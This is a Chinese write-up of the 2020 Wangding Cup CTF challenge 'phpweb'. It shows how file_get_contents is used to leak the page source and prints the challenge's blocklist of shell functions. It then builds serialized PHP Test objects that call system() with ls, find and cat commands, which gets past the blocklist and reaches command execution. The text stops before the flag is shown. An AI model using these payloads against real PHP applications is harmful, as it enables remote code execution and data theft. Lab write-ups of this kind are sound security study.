[网鼎杯 2020 朱雀组]phpweb
解题过程如下
抓包
进来的页面不对劲,虽然不知道什么梗但是有一说一确实丑,如果注意一下还会发现这个页面在不断刷新,先抓个包看看。
发现这里上传了两个参数,分别是func
和p
。
获取源码
func
猜测是function
,p
应该是payload
(猜的),那么简单明了的东西应该是一个调用func
上传的函数名,参数采用p
传上来的参数。于是构造:
func=file_get_contents&p=index.php
源码:
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>
审计
得到源码以后才知道原来是call_user_func()
函数,还是见得少了,大佬估计直接能看出来是这个函数,我还要靠猜。
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
这里那么多函数被禁了,主要还是禁了system
比较难受,但是问题不大,毕竟没有禁file_get_contents
、cat
以及serialize
。
这里serialize
才是重点(敲黑板!),毕竟源码里给我们提供了一个Test类
:
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
然后简单明了构造payload:
<?php
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$a = new Test();
// $a->p = 'ls ../../../'; ==> O:4:"Test":2:{s:1:"p";s:12:"ls ../../../";s:4:"func";s:6:"system";}
// $a -> p = "find / -name 'flag*'"; ⇒ O:4:"Test":2:{s:1:"p";s:20:"find / -name 'flag*'";s:4:"func";s:6:"system";}
$a -> p = 'cat /tmp/flagoefiu4r93'; // ==> O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}
$a -> func = 'system';
echo (serialize($a));
?>
这里利用p
参数前后构造了三个payload,flag: